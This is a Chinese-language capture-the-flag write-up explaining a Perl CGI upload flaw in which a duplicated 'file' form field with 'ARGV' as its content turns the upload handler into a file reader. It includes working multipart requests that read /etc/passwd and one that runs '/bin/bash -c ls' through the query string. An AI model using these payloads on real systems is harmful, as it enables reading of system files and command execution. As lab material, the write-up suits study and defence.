这道题是道关于perl的题目
打开题目有三个链接
Hello World没有任何利用的点,Forms里有一个xss,但是也拿不到flag。
接着看最后一个Files:
随便传一个文件看看什么效果:
可以看到,网页将上传上去的东西以字符串形式打印出来,抓包也没看出来有什么东西,看WP去。
这道题实际上是利用了The Perl Jam 2: The Camel Strikes Back这个视频中的一个perl的漏洞。
首先贴出来后端代码:
print "$cgi->upload('file')" //输出文件句柄
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
print "$file"; //输出上传的文件名
while (<$file>) {
print "$_";
print "<br />";
}
}
首先看第一句,$cgi->upload('file')
这是视频中的解释,翻译过来就是$cgi->upload('file')
这个函数会验证提交表单的file参数中的其中一项是否是上传文件。例如下面的提交表单:
------WebKitFormBoundaryA4QshN1AQ30b8dMk
Content-Disposition: form-data; name="file"; filename="1.pl"
Content-Type: application/octet-stream
ARGV
------WebKitFormBoundaryA4QshN1AQ30b8dMk
Content-Disposition: form-data; name="Submit!"
Submit!
------WebKitFormBoundaryA4QshN1AQ30b8dMk--
这是正常的提交表单,name为file,filename是上传的文件名,是符合表单的结构的,可以提交成功,并且在返回的内容中,也可以看到文件的句柄以及文件名:
接着如果再增加一项上传项会发生什么?
------WebKitFormBoundaryA4QshN1AQ30b8dMk
Content-Disposition: form-data; name="file";
Content-Type: application/octet-stream
ARGV
------WebKitFormBoundaryA4QshN1AQ30b8dMk
Content-Disposition: form-data; name="file"; filename="1.pl"
Content-Type: application/octet-stream
ARGV
------WebKitFormBoundaryA4QshN1AQ30b8dMk
Content-Disposition: form-data; name="Submit!"
Submit!
------WebKitFormBoundaryA4QshN1AQ30b8dMk--
可以看到有两项上传项,其中第一项是没有filename的,单独上传$cgi->upload('file')
会无法正常取得句柄,验证失败。
但是假如还有一项正常的上传项,那么$cgi->upload('file')
就会得到正常的文件句柄。
这是只有一项的结果,可以看到返回内容中没有文件名,没有通过if判断。
这是有两个上传项的抓包内容,可以得出,就算上传多个拥有相同参数的上传项,上传代码依旧工作。
但是仔细看发现,返回内容并没有返回1.pl这个文件名,而是返回了456,也就是第一个上传项的上传内容,这个就是代码中的第二个漏洞点:my $file = $cgi->param('file');
。
视频中的解释:
也就是说,$cgi->param('file')
返回一个列表,列表的内容是所有参数为file
的上传项的文件名(filename)。最后将得到的列表传给$file
,而$file
里面只会存入列表中的第一项的上传内容。
而当第一个上传项没有filename参数时,会将第一个上传项的文件内容识别成filename。
再看最后的一个漏洞点:
while (<$file>) {
print "$_";
print "<br />";
}
<>
类似于c的stdin,也就是说他从$file
中得到内容,后面的 print "$_";
输出$file
的内容。
而上面提到了,$file
是可控的,所以只要传入路径就可以读取到相应的内容了吗?
并不是,<>
解析后只会将其作为字符串处理,除非是ARGV。
ARGV就相当于C语言的argv[],通过ARGV可以得到perl脚本后面的参数,于是便可以构造payload:
POST /cgi-bin/file.pl?/etc/passwd HTTP/1.1
------WebKitFormBoundaryUHh694LAIn948tMt
Content-Disposition: form-data; name="file";
Content-Type: image/png
ARGV
------WebKitFormBoundaryUHh694LAIn948tMt
Content-Disposition: form-data; name="file"; filename="test"
Content-Type: image/png
test
------WebKitFormBoundaryUHh694LAIn948tMt
Content-Disposition: form-data; name="Submit!"
Submit!
------WebKitFormBoundaryUHh694LAIn948tMt--
得到返回结果
那么最后就剩下猜flag位置,但一般来说猜不到,所以要用一些小技巧:
POST /cgi-bin/file.pl?/bin/bash%20-c%20ls$IFS/| HTTP/1.1
可以看到有flag,读取完事。